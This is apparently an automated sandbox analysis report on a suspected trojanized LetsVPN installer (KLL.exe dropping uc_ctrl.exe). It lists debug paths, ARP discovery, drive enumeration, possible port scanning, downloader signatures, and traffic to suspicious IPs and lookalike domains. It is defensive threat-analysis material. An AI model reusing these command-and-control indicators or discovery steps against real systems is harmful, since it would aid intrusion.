Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdbwD source: LetsPRO.exe, 00000047.00000002.2766524594.0000000003262000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\winforms_control\Microsoft.Web.WebView2.WinForms\obj\release\net45\Microsoft.Web.WebView2.WinForms.pdb source: Microsoft.Web.WebView2.WinForms.dll.18.dr
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdb source: Microsoft.Web.WebView2.Core.dll.18.dr
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: LetsPRO.exe, 00000037.00000002.3948725743.0000000005BD2000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: msvcp140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.AccessControl/net461-windows-Release/System.Security.AccessControl.pdbSHA256 source: System.Security.AccessControl.dll.18.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.DriveInfo\4.0.2.0\System.IO.FileSystem.DriveInfo.pdb source: System.IO.FileSystem.DriveInfo.dll.18.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdbSHA256, source: LetsPRO.exe, 00000037.00000002.3958799294.000000002F422000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: System.Threading.Tasks.Extensions.dll.18.dr
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb* source: LetsPRO.exe, 00000037.00000002.4009260053.0000000038042000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: C:\Users\winsign\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 00000023.00000003.2490141054.0000018138E39000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdbR source: LetsPRO.exe, 00000037.00000002.4008886457.0000000038032000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\obj\Squirrel\Release\net45\Squirrel.pdbSHA256 source: Squirrel.dll.18.dr
Source:	Binary string: /_/artifacts/obj/System.IO.Ports/net461-windows-Release/System.IO.Ports.pdb source: System.IO.Ports.dll.18.dr
Source:	Binary string: E:\A\_work\65\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Pipes.AccessControl/netfx\System.IO.Pipes.AccessControl.pdb source: System.IO.Pipes.AccessControl.dll.18.dr
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb source: uc_ctrl.exe, 00000010.00000000.2190373337.000000000077A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdb source: LetsPRO.exe, 00000037.00000002.4008576669.0000000038012000.00000002.00000001.01000000.00000036.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Console\4.0.2.0\System.Console.pdb source: System.Console.dll.18.dr
Source:	Binary string: /_/artifacts/obj/System.Configuration.ConfigurationManager/net461-windows-Release/System.Configuration.ConfigurationManager.pdb source: System.Configuration.ConfigurationManager.dll.18.dr
Source:	Binary string: D:\a\_work\1\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: LetsPRO.exe, 00000037.00000002.3949103498.0000000005C02000.00000002.00000001.01000000.00000020.sdmp, System.Memory.dll.18.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.EventBasedAsync\4.0.11.0\System.ComponentModel.EventBasedAsync.pdb source: System.ComponentModel.EventBasedAsync.dll.18.dr
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\Release\Win32\StubExecutable.pdb source: LetsPRO.exe, 00000036.00000002.2608629573.00000000000CD000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe, 00000036.00000000.2599852964.00000000000CD000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\A\_work\65\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Pipes.AccessControl/netfx\System.IO.Pipes.AccessControl.pdb/5I5 ;5_CorDllMainmscoree.dll source: System.IO.Pipes.AccessControl.dll.18.dr
Source:	Binary string: \samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: tapinstall.exe, 0000001F.00000003.2513939272.00000000010B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\LetsVPNInfraStructure\obj\Release\LetsVPNInfraStructure.pdb source: LetsPRO.exe, 00000037.00000002.3948986224.0000000005BF2000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdbBSJB source: LetsPRO.exe, 00000037.00000002.3948377972.0000000005B52000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.18.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Parallel\4.0.1.0\System.Linq.Parallel.pdb source: System.Linq.Parallel.dll.18.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256xpRb source: LetsPRO.exe, 00000037.00000002.3965701739.0000000030102000.00000002.00000001.01000000.0000002A.sdmp, SQLitePCLRaw.core.dll.18.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdb source: LetsPRO.exe, 00000037.00000002.3948377972.0000000005B52000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.18.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: LetsPRO.exe, 00000037.00000002.3965892323.0000000030122000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3965892323.0000000030122000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.3915071580.0000000073AB1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\projects\sharpcompress\src\SharpCompress\obj\Release\net45\SharpCompress.pdb source: SharpCompress.dll.18.dr
Source:	Binary string: D:\MdXaml\artifacts\obj\MdXaml\Release\net45\MdXaml.pdb source: MdXaml.dll.18.dr
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\obj\Squirrel\Release\net45\Squirrel.pdb source: Squirrel.dll.18.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdb source: LetsPRO.exe, 00000037.00000002.3958682175.000000002F412000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: tapinstall.exe, 0000001D.00000002.2469928545.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2466685704.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2516221228.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2470214690.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2533730870.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2535669644.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdb source: LetsPRO.exe, 00000037.00000002.4008886457.0000000038032000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3966053418.0000000030142000.00000002.00000001.01000000.0000002C.sdmp, SQLitePCLRaw.nativelibrary.dll.18.dr
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4008576669.0000000038012000.00000002.00000001.01000000.00000036.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: System.Runtime.dll.18.dr
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: LetsPRO.exe, 00000037.00000002.3948589910.0000000005BC2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections\4.0.11.0\System.Collections.pdb source: System.Collections.dll.18.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: LetsPRO.exe, 00000037.00000002.3965701739.0000000030102000.00000002.00000001.01000000.0000002A.sdmp, SQLitePCLRaw.core.dll.18.dr
Source:	Binary string: /_/artifacts/obj/System.Security.AccessControl/net461-windows-Release/System.Security.AccessControl.pdb source: System.Security.AccessControl.dll.18.dr
Source:	Binary string: Extract: Mono.Cecil.Pdb.dll... 100%gy0 source: letsvpn-latest.exe, 00000012.00000002.2601085872.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000012.00000003.2600431557.00000000006B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdbSHA256X7 source: LetsPRO.exe, 00000037.00000002.3959182025.000000002F702000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdb source: LetsPRO.exe, 00000037.00000002.3966053418.0000000030142000.00000002.00000001.01000000.0000002C.sdmp, SQLitePCLRaw.nativelibrary.dll.18.dr

Spreading

Performs a network lookup / discovery via ARP

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: z:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: x:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: v:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: t:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: r:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: p:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: n:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: l:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: j:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: h:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: f:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: b:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: y:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: w:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: u:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: s:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: q:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: o:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: m:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: k:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: i:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: g:	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: c:
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File opened: [:	Jump to behavior

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C68E966 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,_wcslen,		16_2_6C68E966
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C936810 _Open_dir,FindFirstFileExW,_Read_dir,FindClose,		16_2_6C936810

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 154.204.0.4 ports 1,2,15628,5,6,8

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 15628
Source: unknown	Network traffic detected: HTTP traffic on port 15628 -> 49715

Yara detected Generic Downloader

Source: Yara match	File source: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\letsvpn\Update.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.5:49715 -> 154.204.0.4:15628

Source: global traffic

TCP traffic: 192.168.2.5:49719 -> 8.8.8.8:53

Source: global traffic	HTTP traffic detected: GET /\ HTTP/1.1Connection: UpgradeSec-WebSocket-Key: BJMgFBCGKbcECzIBKlAeBiCCESec-WebSocket-Version: 13Upgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: 154.204.0.4:15628
Source: global traffic	HTTP traffic detected: GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1Host: ws-ap1.pusher.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: YzFkYjI5ZTUtZTE4MS00NQ==Origin: ws://ws-ap1.pusher.com

Source: Joe Sandbox View	IP Address: 183.60.146.66 183.60.146.66
Source: Joe Sandbox View	IP Address: 5.255.255.77 5.255.255.77
Source: Joe Sandbox View	IP Address: 103.235.46.96 103.235.46.96
Source: Joe Sandbox View	IP Address: 103.235.46.96 103.235.46.96

Source: Joe Sandbox View

ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK

Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.4
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.4
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.4
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.4
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.4
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.4
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.4
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56

Source: global traffic	HTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=chr.alipayassets.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /\ HTTP/1.1Connection: UpgradeSec-WebSocket-Key: BJMgFBCGKbcECzIBKlAeBiCCESec-WebSocket-Version: 13Upgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: 154.204.0.4:15628
Source: global traffic	HTTP traffic detected: GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1Host: ws-ap1.pusher.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: YzFkYjI5ZTUtZTE4MS00NQ==Origin: ws://ws-ap1.pusher.com

Source: LetsPRO.exe, 00000037.00000002.4065807396.00000000689A9000.00000002.00000001.01000000.00000024.sdmp	String found in binary or memory: os/exec.Command(]. new data: GID[^/app([0-9]+)/app^created by (.+)$bad TinySizeClassbad key algorithmbad local addressboundBindToDevicecannot find id %sclose dns channelconnectingAddresscorkOptionEnableddecryption failedduplicate addresseffectiveNetProtoentersyscallblockexec apiAgent GIDexec apiAgent RIDexec deleteRegDirexec format errorexec nicIndexToIPexec phyNIC Indexexec phyNIC SetIPexec tapIFCE Nameexec: killing Cmdexec: not startedfractional secondframe_ping_lengthg already scannedget up-going ACK glEdgeFlagPointerglPopClientAttribglTexCoordPointergp.waiting != nilhandshake failureif-modified-sinceillegal parameterin string literalindex > windowEndinteger too largeinvalid BMPStringinvalid IA5Stringinvalid bit size invalid stream IDip2if func returnipv6-only networkisConnectNotifiedjoyReleaseCapturekey align too biglocked m0 woke upmark - bad statusmarkBits overflowmciGetCreatorTaskmessage too largemidiInGetDevCapsWmidiOutGetNumDevsmidiStreamRestartmissing closing )missing closing ]missing extensionmixerGetLineInfoWmultipartmaxpartsneed re-resolve: nextId too large:nil resource bodyno available Datano data availablenoChecksumEnablednotetsleepg on g0old node version:operation abortedparameter problempermission deniedpkg/buffer.Bufferpkg/sleep.Sleeperpkg/tcpip.Addresspppoe instanceId:protect fd failedreceiveBufferSizereceiveTOSEnabledreceiveTTLEnabledreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of remoteAddr is nilruntime.newosprocruntime/internal/runtime: level = runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0seeker can't seekselect (no cases)set sdk loglevel:set tap static ipstack: frame={sp:start map checkerstart refresh infswept cached spansync.RWMutex.Lockthread exhaustiontimeGetSystemTimetransfer-encodingtruncated headersudp routines num:unknown caller pcunknown hostname:unknown type kindunrecognized nameupdate dns dialeruse gid:%s rid:%swait for GC cyclewaveInGetDevCapsWwaveInGetPositionwaveOutGetNumDevswebsocket: close wglGetPixelFormatwglGetProcAddresswglSetPixelFormatwine_get_versionwrong medium typewww.baidu.com:443www.facebook.com.x-forwarded-proto but memory size connection limit (message too big) because dotdotdot in async preempt equals www.facebook.com (Facebook)
Source: LetsPRO.exe, 00000037.00000002.4065807396.00000000689A9000.00000002.00000001.01000000.00000024.sdmp	String found in binary or memory: wrong medium typewww.baidu.com:443www.facebook.com.x-forwarded-proto but memory size connection limit (message too big) because dotdotdot in async preempt equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ws-ap1.pusher.com
Source: global traffic	DNS traffic detected: DNS query: www.baidu.com
Source: global traffic	DNS traffic detected: DNS query: www.yandex.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: in.appcenter.ms
Source: global traffic	DNS traffic detected: DNS query: d1dmgcawtbm6l9.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: nit.crash1ytics.com
Source: global traffic	DNS traffic detected: DNS query: nal.fqoqehwib.com
Source: global traffic	DNS traffic detected: DNS query: chr.alipayassets.com

Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
